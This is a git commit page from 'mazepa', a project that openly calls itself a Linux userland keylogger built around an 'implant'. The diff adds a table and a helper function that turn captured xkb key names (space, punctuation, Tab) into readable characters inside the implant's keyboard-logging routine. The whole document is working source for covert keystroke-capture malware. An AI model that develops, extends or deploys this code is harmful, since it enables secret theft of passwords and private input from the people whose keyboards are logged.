mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit f2226f0c89a55bdf03107d183f3cae5fe9a0ec68
parent 88a8e1957555b4a52653f7e66a4646e8292afa2c
Author: winds0r <[email protected]>
Date: Sat, 7 Oct 2023 21:06:51 +0200

fix(implant): basic key intervert system

Diffstat:
Mimplant/includes/implant.h | 5+++++
Mimplant/sources/logger.c | 40+++++++++++++++++++++++++++++++++++-----

2 files changed, 40 insertions(+), 5 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -6,6 +6,7 @@
 #include <sys/types.h>
 #include <stdint.h>
 #include <sys/queue.h>
+#include <unistd.h>
 
 #define QUEUE_BUFFER_SIZE 1024
 
@@ -26,6 +27,10 @@ struct keyboard_s {
     TAILQ_ENTRY(keyboard_s) devices;
 };
 
+typedef struct translated_key {
+    char const *description;
+    char const representation;
+} translated_key_t;
 
 
 /*
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -17,6 +17,25 @@
 #include <xkbcommon/xkbcommon.h>
 
 
+static const translated_key_t KEYS[] = {
+    { "space", ' ' },
+    { "comma", ',' },
+    { "period", '.' },
+    { "slash", '/' },
+    { "questionmark", '?' },
+    { "semicolon", ';' },
+    { "apostrophe", '\'' },
+    { "bracketleft", '[' },
+    { "bracketright", ']' },
+    { "backslash", '\\' },
+    { "pipe", '|' },
+    { "Tab", '\t' },
+    { "minus", '-'},
+    { "plus", '+'},
+    { "equal", '='},
+    { NULL, 0 },
+};
+
 static int get_highest_fd(implant_t *instance) {
     int highest_fd = -1;
 
@@ -27,6 +46,21 @@ static int get_highest_fd(implant_t *instance) {
     return highest_fd;
 }
 
+
+static char *check_translated_key(char *key_desc) {
+    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+        if (!strcmp(KEYS[ctr].description, key_desc)) {
+
+            memset(key_desc, 0, STRING_BUFFER_SIZE);
+            key_desc[0] = KEYS[ctr].representation;
+
+            break;
+        }
+    }
+    return key_desc;
+}
+
+
 static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
     struct input_event evt = {0};
     static bool shift_pressed = false;
@@ -88,11 +122,7 @@ static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
         memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
         xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
-        if (!strcmp("space", *key_desc_ptr)) {
-            memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
-            *key_desc_ptr[0] = ' ';
-        }
-
+        *key_desc_ptr = check_translated_key(*key_desc_ptr);
     }
 
     return SUCCESSFUL;